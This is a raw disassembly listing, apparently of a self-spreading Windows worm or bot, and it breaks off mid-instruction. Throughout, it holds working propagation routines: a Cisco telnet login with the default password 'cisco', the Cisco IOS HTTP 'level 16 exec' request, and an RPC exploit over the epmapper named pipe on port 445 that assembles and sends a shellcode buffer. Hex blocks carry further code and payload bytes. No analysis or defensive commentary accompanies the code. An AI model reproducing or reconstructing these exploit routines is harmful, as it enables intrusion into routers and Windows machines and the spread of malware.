push 104h mov esi, offset dword_4D429C push esi push ebx call ds:dword_42B00C ; GetModuleFileNameA push 5Ch push esi call sub_41EE50 cmp eax, ebx pop ecx pop ecx jz short loc_40BA78 mov [eax], bl loc_40BA78: ; CODE XREF: seg000:0040BA74j mov eax, ds:dword_43C078 mov ds:dword_4D43A0, eax lea eax, [ebp+18h] push eax push offset dword_4D4014 mov ds:dword_4D43B4, ebx call sub_41E6A6 mov eax, [ebp+118h] pop ecx pop ecx mov ecx, [ebp+140h] push esi push ds:dword_4D43A0 mov ds:dword_4D43AC, ecx mov ecx, [ebp+144h] push eax mov ds:dword_4D4010, eax mov ds:dword_4D43B0, ecx call sub_4023C9 pop ecx push eax lea eax, [ebp-204h] push offset unk_42F0A8 push eax call sub_41E6A6 push ebx lea eax, [ebp-204h] push 3 push eax call sub_40AE85 add esp, 20h mov ds:dword_4D43A8, eax lea eax, [ebp-4] push eax push ebx push offset dword_4D4010 push offset byte_412DD9 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, ds:dword_4D43A8 imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_40BB68 call ds:dword_42B01C ; RtlGetLastWin32Error push eax lea eax, [ebp-204h] push offset unk_4329C4 push eax call sub_41E6A6 add esp, 0Ch loc_40BB3A: ; CODE XREF: seg000:0040BB70j lea eax, [ebp-204h] push eax call sub_417D70 pop ecx loc_40BB47: ; CODE XREF: seg000:0040BA40j ; seg000:0040BA50j pop esi loc_40BB48: ; CODE XREF: seg000:0040B6B4j pop ebx locret_40BB49: ; CODE XREF: seg000:0040B6A2j leave retn ; --------------------------------------------------------------------------- loc_40BB4B: ; CODE XREF: seg000:0040BB59j push 32h call ds:dword_42B014 ; Sleep loc_40BB53: ; CODE XREF: seg000:0040BA03j cmp ds:dword_4D4458, ebx jz short loc_40BB4B jmp loc_40BA24 ; --------------------------------------------------------------------------- loc_40BB60: ; CODE XREF: seg000:0040BB6Ej push 32h call ds:dword_42B014 ; Sleep loc_40BB68: ; CODE XREF: seg000:0040BB1Dj cmp ds:dword_4D43BC, ebx jz short loc_40BB60 jmp short loc_40BB3A ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, [ebp+8] push 4 lea esi, ds:4D1FF0h[esi*8] lea eax, [ebp+8] push esi push eax call sub_41F400 add esp, 0Ch push dword ptr [ebp+8] call ds:dword_4441DC ; htonl inc eax push eax mov [ebp+8], eax call ds:dword_444234 ; htonl mov [ebp+8], eax push 4 lea eax, [ebp+8] push eax push esi call sub_41F400 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push esi push dword ptr [ebp+8] or esi, 0FFFFFFFFh mov [ebp-0Ch], esi mov [ebp-8], esi mov [ebp-4], esi mov [ebp-10h], esi call sub_41E1C0 cmp eax, 0Fh pop ecx jbe short loc_40BBE2 xor eax, eax jmp short loc_40BC53 ; --------------------------------------------------------------------------- loc_40BBE2: ; CODE XREF: seg000:0040BBDCj lea eax, [ebp-10h] push eax lea eax, [ebp-4] push eax lea eax, [ebp-8] push eax lea eax, [ebp-0Ch] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push dword ptr [ebp+8] call sub_41F73D add esp, 18h cmp [ebp-0Ch], esi jnz short loc_40BC0F call sub_41ECDE mov [ebp-0Ch], eax loc_40BC0F: ; CODE XREF: seg000:0040BC05j cmp [ebp-8], esi jnz short loc_40BC1C call sub_41ECDE mov [ebp-8], eax loc_40BC1C: ; CODE XREF: seg000:0040BC12j cmp [ebp-4], esi jnz short loc_40BC29 call sub_41ECDE mov [ebp-4], eax loc_40BC29: ; CODE XREF: seg000:0040BC1Fj mov eax, [ebp-10h] cmp eax, esi jnz short loc_40BC35 call sub_41ECDE loc_40BC35: ; CODE XREF: seg000:0040BC2Ej mov ecx, [ebp-0Ch] shl eax, 8 add eax, [ebp-4] shl eax, 8 add eax, [ebp-8] shl eax, 8 add eax, ecx mov ecx, [ebp+0Ch] mov ds:dword_4D1FF0[ecx*8], eax loc_40BC53: ; CODE XREF: seg000:0040BBE0j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC56 proc near ; CODE XREF: sub_41AA0A+2Cp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi xor edi, edi xor ebx, ebx push ebx inc edi push edi push 2 mov [ebp+var_4], edi call ds:dword_444100 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40BC7F xor eax, eax jmp short loc_40BCEE ; --------------------------------------------------------------------------- loc_40BC7F: ; CODE XREF: sub_40BC56+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call ds:dword_444260 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call ds:dword_444094 ; ioctlsocket push 10h lea eax, [ebp+var_1C] push eax push esi call ds:dword_4440AC ; connect mov eax, [ebp+arg_8] mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax push ebx lea eax, [ebp+var_120] push eax push ebx push ebx mov [ebp+var_8], ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call ds:dword_4441B0 ; select push esi mov edi, eax call ds:dword_444218 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_40BCEE: ; CODE XREF: sub_40BC56+27j pop edi pop esi pop ebx leave retn sub_40BC56 endp ; --------------------------------------------------------------------------- db 55h dd 8C246C8Dh, 28CEC81h, 458B0000h, 5756537Ch, 0F08B536Ah dd 24BD8D59h, 0F3FFFFFFh, 48758BA5h, 14880C7h, 10000h dd 458B0000h, 7075894Ch, 0FF7C4589h, 42B03815h, 0A1E85000h dd 8B00012Fh, 0DB6959DEh, 234h, 199E9h, 647D8300h, 0F745000h dd 0FF24858Dh, 0E850FFFFh, 0FFFFFE66h, 0E805EB59h, 0FFFFFE16h dd 7C75FF59h, 0B3FFF88Bh, 4444ECh, 573875FFh, 418815FFh dd 8D500044h, 0FFFDE885h, 2B2468FFh, 0E8500043h, 12922h dd 0FDE8858Dh, 8D50FFFFh, 4442E883h, 0FE85000h, 0FF000129h dd 75FF3C75h, 0B3E85738h, 83FFFFFEh, 0F8832CC4h, 20850F01h dd 83000001h, 75FF547Dh, 3FF06875h, 15FF004Dh, 42B070h dd 573875FFh, 418815FFh, 8D500044h, 0FFFDE885h, 2AFC68FFh dd 0E8500043h, 128CAh, 8310C483h, 7500607Dh, 0B47D8027h dd 0FF016A00h, 858D5C75h, 0FFFFFDE8h, 0B4458D50h, 858D0675h dd 0FFFFFF34h, 3475FF50h, 0FF5432E8h, 14C483FFh, 0FDE8858Dh dd 0E850FFFFh, 0BF58h, 0F02404C7h, 0FF004D3Fh, 42B06C15h dd 0A5E900h, 0FF570000h, 44418815h, 858D5000h, 0FFFFFE6Ch dd 2868E850h, 458B0001h, 6E0C154h, 43D85805h, 858D5000h dd 0FFFFFEFCh, 2850E850h, 0C4830001h, 0B47D8010h, 0B4458D00h dd 858D0675h, 0FFFFFF34h, 7C858D50h, 50FFFFFEh, 12831E8h dd 34458B00h, 0FE688589h, 458BFFFFh, 1885895Ch, 8BFFFFFFh dd 59596045h, 0FF1C8589h, 458BFFFFh, 0BCEC8138h, 89000000h dd 0FFFF0885h, 54458BFFh, 89592F6Ah, 0FFFF0CB5h, 108589FFh dd 8DFFFFFFh, 0FFFE68B5h, 0C1FC8BFFh, 0A5F306E0h, 0D88490FFh dd 758B0043h, 0BCC48170h, 68000000h, 7D0h, 0B01415FFh dd 838B0042h, 4444ECh, 0F4C53C83h, 4D1Fh, 0FE53850Fh, 0E856FFFFh dd 0FFFFF255h, 0FF006A59h, 42B06815h db 0, 0CCh word_40BEFE dw 8D55h ; DATA XREF: sub_40274D+1D8Fo ; sub_40274D+5963o dd 818C246Ch, 1CCECh, 7C458B00h, 6A575653h, 0F08B5953h dd 0BD8DDB33h, 0FFFFFF28h, 8943A5F3h, 14498h, 28858D00h dd 50FFFFFFh, 417C15FFh, 4D8B0044h, 4CEC8148h, 89000001h dd 1FF0CD04h, 536A004Dh, 28B58D59h, 8BFFFFFFh, 0E8A5F3FCh dd 0FFFFF73Ch, 1AE80B6Ah, 81FFFFF1h, 150C4h, 75C33B00h dd 3FF0BE6Ch, 0FF56004Dh, 42B07815h, 4006800h, 0FF568000h dd 42B07415h, 75C08500h, 0A8858D50h, 68FFFFFEh, 432C08h dd 2714E850h, 0DB330001h, 59645D39h, 531D7559h, 8D6075FFh dd 0FFFEA885h, 858D50FFh, 0FFFFFF38h, 3875FF50h, 0FF5286E8h dd 14C483FFh, 0FEA8858Dh, 0E850FFFFh, 0BDACh, 335E5F59h dd 0C5835BC0h, 4C2C974h, 48458B00h, 0B014358Bh, 1C890042h dd 4D1FF4C5h, 33FB8B00h, 547D83DBh, 0A4820F01h, 57000000h dd 8D4875FFh, 0FFFF2885h, 3C75FFFFh, 50507D89h, 0FEA8858Dh dd 0D468FFFFh, 5000432Bh, 12695E8h, 858D5300h, 0FFFFFEA8h dd 0E8500B6Ah, 0FFFFEE65h, 89484D8Bh, 0C0694C45h, 234h dd 5324C483h, 0EC888953h, 8D004444h, 0FFFF2885h, 0F36850FFh dd 530040BCh, 3C15FF53h, 8B0042B0h, 0C9694C4Dh, 234h, 8189C33Bh dd 4444FCh, 15FF4C75h, 42B01Ch, 0A8858D50h, 68FFFFFEh dd 432B9Ch, 2630E850h, 858D0001h, 0FFFFFEA8h, 0BCEEE850h dd 0C4830000h, 0FF1E6A10h, 7D3B47D6h, 5C860F54h, 39FFFFFFh dd 2074445Dh, 6944458Bh, 0EA60C0h, 0D6FF5000h, 1E6A1FEBh dd 5D39D6FFh, 0EBF77470h, 7D068D4h, 0D6FF0000h, 8348458Bh dd 1FF4C53Ch, 7401004Dh, 4475FFECh, 0FF48458Bh, 48B3C75h dd 4D1FF0C5h, 15FF5000h, 444188h, 0A8858D50h, 68FFFFFEh dd 432B5Ch, 25B8E850h, 0C4830001h, 645D3914h, 0FF531D75h dd 858D6075h, 0FFFFFEA8h, 38858D50h, 50FFFFFFh, 0E83875FFh dd 0FFFF512Bh, 8D14C483h, 0FFFEA885h, 51E850FFh, 8B0000BCh dd 1C894845h, 4D1FF4C5h, 2404C700h, 0BB8h, 0B6AD6FFh, 0FFEF3CE8h dd 1F883FFh, 680B7559h, 4D3FF0h, 0B07815FFh, 75FF0042h dd 0EFF7E848h, 5359FFFFh, 0B06815FFh db 42h, 0, 0CCh byte_40C15B db 55h ; DATA XREF: sub_40274D+2EC6o dd 8C246C8Dh, 3F0EC81h, 458B0000h, 5756537Ch, 8B594B6Ah dd 40BD8DF0h, 0F3FFFFFFh, 2880C7A5h, 1000001h, 8D000000h dd 0FFFF4085h, 15FF50FFh, 44417Ch, 3D39FF33h, 43D880h dd 896C4589h, 7D89707Dh, 0F840F7Ch, 0BE000001h, 43D880h dd 43D858BBh, 5875FF00h, 75FF36FFh, 0FA98E86Ch, 0C483FFFFh dd 1F8830Ch, 0DB850Fh, 36FF0000h, 0FF40858Dh, 8D50FFFFh dd 8D500A43h, 0FFFC8485h, 2C7068FFh, 0E8500043h, 124BEh dd 6075FF57h, 0FC84858Dh, 8D50FFFFh, 0FFFF5085h, 75FF50FFh dd 5039E850h, 858DFFFFh, 0FFFFFC84h, 0BB62E850h, 858D0000h dd 0FFFFFF40h, 88858D50h, 50FFFFFEh, 12485E8h, 18858D00h dd 53FFFFFFh, 2478E850h, 0C4830001h, 0D07D803Ch, 0D0458D00h dd 858D0675h, 0FFFFFF50h, 98858D50h, 50FFFFFEh, 12459E8h dd 50458B00h, 0FE848589h, 458BFFFFh, 34858960h, 8BFFFFFFh dd 89596445h, 0FFFF3885h, 59068BFFh, 0FF248589h, 458BFFFFh dd 0BCEC815Ch, 89000000h, 0FFFF2885h, 7C458BFFh, 89592F6Ah dd 0FFFF2C85h, 84B58DFFh, 8BFFFFFEh, 0FFA5F3FCh, 0C4812C53h dd 0BCh, 337045FFh, 7C45FFFFh, 8D40C383h, 3E392873h, 0FEFB850Fh dd 75FFFFFFh, 40858D70h, 50FFFFFFh, 0FC84858Dh, 3C68FFFFh dd 5000432Ch, 123D5E8h, 75FF5700h, 84858D60h, 50FFFFFCh dd 0FF50858Dh, 0FF50FFFFh, 50E85075h, 8DFFFF4Fh, 0FFFC8485h dd 79E850FFh, 0FF0000BAh, 4AE85C75h, 83FFFFEEh, 0FF572CC4h dd 42B06815h, 8D55CC00h, 818C246Ch, 0BCECh, 7C458B00h dd 2B6A5756h, 8DF08B59h, 0A5F3B87Dh, 6A46F633h, 0A8B08910h dd 8D000000h, 6A6445h, 22B6E850h, 0C4830001h, 3C75FF0Ch dd 6445C766h, 15FF0002h, 444260h, 8966066Ah, 458B6645h dd 26A564Ch, 0FF684589h, 44410015h, 83F08B00h, 5974FFFEh dd 458D106Ah, 0FF565064h, 4440AC15h, 484D8B00h, 234C969h dd 0F8830000h, 0F4B189FFh, 74004444h, 3C75FF38h, 0FF4C75FFh dd 44418815h, 0A0685000h, 0BF00432Ch, 4D49B0h, 2300E857h dd 6A0001h, 8D5475FFh, 5057BC45h, 0E8B875FFh, 0FFFF4E83h dd 0B9B2E857h, 0C4830000h, 15FF5628h, 444218h, 5EC0335Fh dd 0C974C583h db 0C2h, 4, 0 byte_40C3D3 db 55h ; DATA XREF: sub_40274D+5D4Bo dd 8C246C8Dh, 134EC81h, 8B530000h, 57567C5Dh, 8B592B6Ah dd 0C07D8DF3h, 358BA5F3h, 42B014h, 0A483C7h, 10000h, 0FF330000h dd 0FF4475FFh, 15FF5475h, 444188h, 40858D50h, 68FFFFFFh dd 432CC8h, 2288E850h, 0FF680001h, 8D000001h, 0FFFF4085h dd 458B50FFh, 34C06950h, 5000002h, 4442E8h, 2422E850h dd 0C4830001h, 6C458D1Ch, 458D5750h, 0A6850C0h, 570040C3h dd 3C15FF57h, 3B0042B0h, 704589C7h, 4EB0B74h, 0D6FF326Ah dd 74687D39h, 7075FFF7h, 0B00415FFh, 0B3FF0042h, 8Ch, 0A8BB89h dd 0D6FF0000h, 458D046Ah, 458D5054h, 71E8507Ch, 8300012Fh dd 75FF0CC4h, 0DC15FF7Ch, 40004441h, 7C458950h, 423415FFh dd 45890044h, 8D046A7Ch, 8D507C45h, 0E8505445h, 12F48h dd 0E90CC483h, 0FFFFFF40h dword_40C4C0 dd 246C8D55h, 30EC818Ch, 53000001h, 567C5D8Bh, 592B6A57h ; DATA XREF: sub_40274D+5A65o dd 7D8DF38Bh, 8BA5F3C4h, 42B01435h, 0A483C700h, 1000000h dd 33000000h, 4875FFFFh, 0FF5875FFh, 44418815h, 858D5000h dd 0FFFFFF44h, 432D1C68h, 9BE85000h, 68000121h, 1FFh, 0FF44858Dh dd 8B50FFFFh, 0C0695445h, 234h, 4442E805h, 35E85000h, 83000123h dd 458D1CC4h, 8D575070h, 6850C445h, 40C30Ah, 15FF5757h dd 42B03Ch, 4589C73Bh, 0EB0B747Ch, 0FF326A04h, 6C7D39D6h dd 75FFF774h, 415FF7Ch, 0FF0042B0h, 8CB3h, 0A8BB8900h dd 0FF000000h, 48458BD6h, 744C453Bh, 4845FF08h, 0FFFF70E9h dd 5875FFFFh, 418815FFh, 8D500044h, 0FFFF4485h, 2CF068FFh dd 0E8500043h, 1210Eh, 6075FF57h, 0FF44858Dh, 8D50FFFFh dd 0FF50C845h, 8CE8C475h, 0FFFFFF4Ch, 92E85475h, 83FFFFEBh dd 5E5F24C4h, 835BC033h, 0C2C974C5h db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 290h push esi push edi xor esi, esi push esi push 1 push 2 call ds:dword_444100 ; socket mov edi, eax cmp edi, esi jl loc_40C72B push 10h lea eax, [ebp-10h] push esi push eax call sub_41E5F0 add esp, 0Ch lea eax, [ebp+0Ch] push eax mov word ptr [ebp-10h], 2 call ds:dword_44417C ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-0Ch], eax call ds:dword_444260 ; htons mov [ebp-0Eh], ax push 10h lea eax, [ebp-10h] push eax push edi call ds:dword_4440AC ; connect cmp eax, 0FFFFFFFFh jz loc_40C72B push 40h lea eax, [ebp-50h] push esi push eax call sub_41E5F0 push 40h lea eax, [ebp-90h] push esi push eax call sub_41E5F0 add esp, 18h push esi push 40h lea eax, [ebp-50h] push eax push edi call ds:dword_444064 ; recv test eax, eax jle loc_40C72B push esi push 40h lea eax, [ebp-50h] push eax push edi call ds:dword_444064 ; recv push esi push 6 push offset aCisco ; "cisco\r" push edi call ds:dword_4441A0 ; send push esi push 40h lea eax, [ebp-90h] push eax push edi call ds:dword_444064 ; recv push 6 lea eax, [ebp-90h] push offset aPass ; "\r\nPass" push eax call sub_41F780 add esp, 0Ch test eax, eax jz short loc_40C72B push 28h lea eax, [ebp-50h] push offset aUserAccessVeri ; "\r\n\r\nUser Access Verification\r\n\r\nPasswor"... push eax call sub_41F780 add esp, 0Ch test eax, eax jnz short loc_40C72B lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aNetbios ; "NetBios" push eax push offset unk_432D48 lea eax, [ebp-290h] push 200h push eax call sub_41E6FE push esi push dword ptr [ebp+0B8h] lea eax, [ebp-290h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_40123B lea eax, [ebp-290h] push eax call sub_417D70 mov eax, [ebp+0B0h] shl eax, 6 lea eax, dword_43D888[eax] add esp, 2Ch inc dword ptr [eax] xor eax, eax inc eax jmp short loc_40C72D ; --------------------------------------------------------------------------- loc_40C72B: ; CODE XREF: seg000:0040C5E2j ; seg000:0040C62Aj ... xor eax, eax loc_40C72D: ; CODE XREF: seg000:0040C729j pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1210h call sub_41EA20 push ebx push esi push edi xor ebx, ebx push ebx push 1 push 2 call ds:dword_444100 ; socket mov edi, eax cmp edi, ebx jl loc_40C894 push 10h lea eax, [ebp-10h] push ebx push eax call sub_41E5F0 add esp, 0Ch lea eax, [ebp+0Ch] push eax mov word ptr [ebp-10h], 2 call ds:dword_44417C ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-0Ch], eax call ds:dword_444260 ; htons mov [ebp-0Eh], ax push 10h lea eax, [ebp-10h] push eax push edi call ds:dword_4440AC ; connect cmp eax, 0FFFFFFFFh jz loc_40C894 push ebx mov esi, offset aGetLevel16Exec ; "GET /level/16/exec/-///pwd HTTP/1.0\n\n" push esi call sub_41E1C0 pop ecx push eax push esi push edi call ds:dword_4441A0 ; send test eax, eax jl loc_40C894 mov esi, 1000h push esi lea eax, [ebp-1210h] push ebx push eax call sub_41E5F0 add esp, 0Ch push ebx push esi lea eax, [ebp-1210h] push eax push edi call ds:dword_444064 ; recv mov esi, eax cmp esi, ebx jl loc_40C894 push edi call ds:dword_444218 ; closesocket cmp esi, 5 jl loc_40C894 lea eax, [ebp-1210h] push offset aHttp1_0200Ok ; "HTTP/1.0 200 OK" push eax call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_40C894 lea eax, [ebp-1210h] push offset aCisco_0 ; "cisco" push eax call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_40C894 lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aNetbios ; "NetBios" push eax push offset unk_432DAC lea eax, [ebp-210h] push 200h push eax call sub_41E6FE push ebx push dword ptr [ebp+0B8h] lea eax, [ebp-210h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_40123B lea eax, [ebp-210h] push eax call sub_417D70 mov eax, [ebp+0B0h] shl eax, 6 lea eax, dword_43D888[eax] add esp, 2Ch inc dword ptr [eax] xor eax, eax inc eax jmp short loc_40C896 ; --------------------------------------------------------------------------- loc_40C894: ; CODE XREF: seg000:0040C752j ; seg000:0040C79Aj ... xor eax, eax loc_40C896: ; CODE XREF: seg000:0040C892j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C89B proc near ; CODE XREF: seg000:0040CC6Fp ; seg000:004105B1p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_432E14 lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_432E0C ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax mov ecx, 8Ah lea edi, [ebp+var_34E] rep stosd push 45h stosw pop ecx xor ebx, ebx xor eax, eax mov [ebp+var_124], bl lea edi, [ebp+var_123] rep stosd stosw push 0FFh stosb lea eax, [ebp+var_124] push eax push 0FFFFFFFFh push [ebp+arg_0] push ebx push ebx call ds:dword_42B07C ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41F838 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41F838 mov esi, [ebp+arg_4] add esp, 10h lea eax, [ebp+var_354] push ebx mov [esi+14h], eax mov eax, offset dword_432E08 push eax push eax push esi mov [esi+4], ebx mov [esi+10h], ebx mov [esi+1Ch], ebx call ds:dword_444240 cmp eax, 5 mov edi, 4C3h jz short loc_40C95A cmp eax, edi jnz short loc_40C964 loc_40C95A: ; CODE XREF: sub_40C89B+B9j push ebx push ebx push ebx push esi call ds:dword_444240 loc_40C964: ; CODE XREF: sub_40C89B+BDj cmp eax, 5 jz short loc_40C972 cmp eax, edi jz short loc_40C972 xor eax, eax inc eax jmp short loc_40C974 ; --------------------------------------------------------------------------- loc_40C972: ; CODE XREF: sub_40C89B+CCj ; sub_40C89B+D0j xor eax, eax loc_40C974: ; CODE XREF: sub_40C89B+D5j pop edi pop esi pop ebx leave retn sub_40C89B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C979 proc near ; CODE XREF: seg000:0040CCC1p ; seg000:0040CDA1p ... var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_432E14 lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_432E0C ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax mov ecx, 8Ah lea edi, [ebp+var_34E] rep stosd push 45h stosw pop ecx xor ebx, ebx xor eax, eax mov [ebp+var_124], bl lea edi, [ebp+var_123] rep stosd stosw push 0FFh stosb lea eax, [ebp+var_124] push eax push 0FFFFFFFFh push [ebp+arg_0] push ebx push ebx call ds:dword_42B07C ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41F838 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41F838 add esp, 10h jmp short loc_40CA13 ; --------------------------------------------------------------------------- loc_40CA08: ; CODE XREF: sub_40C979+ABj push 7D0h call ds:dword_42B014 ; Sleep loc_40CA13: ; CODE XREF: sub_40C979+8Dj push ebx lea eax, [ebp+var_354] push ebx push eax call ds:dword_444090 test eax, eax jnz short loc_40CA08 pop edi pop esi inc eax pop ebx leave retn sub_40C979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA2C proc near ; CODE XREF: seg000:0040CCEDp ; seg000:0040CE2Ep var_2000 = byte ptr -2000h var_1FDC = byte ptr -1FDCh var_1FD0 = byte ptr -1FD0h var_1F29 = byte ptr -1F29h var_1000 = byte ptr -1000h var_FF8 = dword ptr -0FF8h var_FF0 = dword ptr -0FF0h var_F80 = dword ptr -0F80h var_F7C = dword ptr -0F7Ch var_F4C = dword ptr -0F4Ch var_F48 = dword ptr -0F48h var_F30 = dword ptr -0F30h var_E74 = dword ptr -0E74h var_CA0 = dword ptr -0CA0h var_C98 = dword ptr -0C98h var_C90 = byte ptr -0C90h arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 2000h call sub_41EA20 push ebx push esi push edi push 30h lea eax, [ebp+var_2000] push offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push eax mov edi, 0A7h call sub_41F400 push edi lea eax, [ebp+var_1FD0] push 0FFFFFF90h push eax call sub_41E5F0 push 159h mov ebx, offset dword_43E628 lea eax, [ebp+var_1F29] push ebx push eax call sub_41F400 add esp, 24h loc_40CA7D: ; CODE XREF: sub_40CA2C+9Bj push 30h lea eax, [ebp+var_2000] push offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push eax inc edi call sub_41F400 push edi lea eax, [ebp+var_1FD0] push 0FFFFFF90h push eax call sub_41E5F0 push 159h lea eax, [ebp+edi+var_1FD0] push ebx push eax call sub_41F400 add esp, 24h lea esi, [edi+189h] mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jnz short loc_40CA7D cmp [ebp+arg_C4], 0 jz short loc_40CAE4 cmp [ebp+arg_C0], 3 jz short loc_40CAED cmp [ebp+arg_C0], 0 jmp short loc_40CAEB ; --------------------------------------------------------------------------- loc_40CAE4: ; CODE XREF: sub_40CA2C+A4j cmp [ebp+arg_C0], 3 loc_40CAEB: ; CODE XREF: sub_40CA2C+B6j jnz short loc_40CAF6 loc_40CAED: ; CODE XREF: sub_40CA2C+ADj push 4 push offset dword_43E624 jmp short loc_40CAFD ; --------------------------------------------------------------------------- loc_40CAF6: ; CODE XREF: sub_40CA2C:loc_40CAEBj push 4 push offset dword_43E620 loc_40CAFD: ; CODE XREF: sub_40CA2C+C8j lea eax, [ebp+var_1FDC] push eax call sub_41F400 add esp, 0Ch push 360h lea eax, [ebp+var_1000] push offset dword_43E158 push eax call sub_41F400 push 10h lea eax, [ebp+var_CA0] push offset dword_43E4BC push eax call sub_41F400 push esi lea eax, [ebp+var_2000] push eax lea eax, [ebp+var_C90] push eax call sub_41F400 push 3Ch lea edi, [esi+370h] lea eax, [ebp+edi+var_1000] push offset off_43E4D0 push eax call sub_41F400 push 30h add edi, 3Ch lea eax, [ebp+edi+var_1000] push offset dword_43E510 push eax call sub_41F400 mov eax, esi cdq sub eax, edx sar eax, 1 add [ebp+var_CA0], eax add [ebp+var_C98], eax mov eax, [ebp+var_FF8] lea eax, [eax+esi-0Ch] mov [ebp+var_FF8], eax mov eax, [ebp+var_FF0] lea eax, [eax+esi-0Ch] mov [ebp+var_FF0], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F7C] lea eax, [eax+esi-0Ch] mov [ebp+var_F7C], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F48] lea eax, [eax+esi-0Ch] mov [ebp+var_F48], eax mov eax, [ebp+var_F30] lea eax, [eax+esi-0Ch] mov [ebp+var_F30], eax mov eax, [ebp+var_E74] lea eax, [eax+esi-0Ch] add edi, 30h lea esi, [edi+1] push esi mov [ebp+var_E74], eax call sub_41E5D3 add esp, 40h push esi mov ebx, eax push 0 push ebx call sub_41E5F0 push edi lea eax, [ebp+var_1000] push eax push ebx call sub_41F400 mov eax, [ebp+arg_BC] mov [eax], edi add esp, 18h mov eax, ebx pop edi pop esi pop ebx leave retn sub_40CA2C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1138h call sub_41EA20 cmp dword ptr [ebp+0A8h], 1BDh push ebx push esi push edi jnz loc_40CDB5 lea eax, [ebp-34h] push eax lea eax, [ebp+0Ch] push eax call sub_40C89B test eax, eax pop ecx pop ecx jz loc_40CEC5 lea eax, [ebp+0Ch] push eax lea eax, [ebp-138h] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_41E6A6 add esp, 0Ch xor ebx, ebx push ebx push 80h push 3 push ebx push 1 push 0C0000000h lea eax, [ebp-138h] push eax call ds:dword_42B08C ; CreateFileA mov [ebp-4], eax cmp eax, 0FFFFFFFFh lea eax, [ebp+0Ch] jnz short loc_40CCCC loc_40CCC0: ; CODE XREF: seg000:0040CD6Dj push eax call sub_40C979 pop ecx jmp loc_40CEC5 ; --------------------------------------------------------------------------- loc_40CCCC: ; CODE XREF: seg000:0040CCBEj push 2 push eax call sub_41AA0A pop ecx pop ecx push 1 push eax lea eax, [ebp-10h] push eax sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_40CA2C add esp, 0C8h cmp eax, ebx mov [ebp-8], eax jz short loc_40CD61 mov edi, 186A0h push edi call sub_41E5D3 push edi mov esi, eax push ebx push esi call sub_41E5F0 add esp, 10h push ebx lea eax, [ebp-0Ch] push eax mov edi, 2710h push edi push esi push 48h push offset dword_43E108 push dword ptr [ebp-4] call ds:dword_42B088 ; TransactNamedPipe cmp byte ptr [esi+2], 0Ch jnz short loc_40CD51 push ebx lea eax, [ebp-14h] push eax push dword ptr [ebp-10h] push dword ptr [ebp-8] push dword ptr [ebp-4] call ds:dword_42B084 ; WriteFile test eax, eax jnz short loc_40CD72 loc_40CD51: ; CODE XREF: seg000:0040CD37j push esi call sub_41E2A1 push dword ptr [ebp-8] call sub_41E2A1 pop 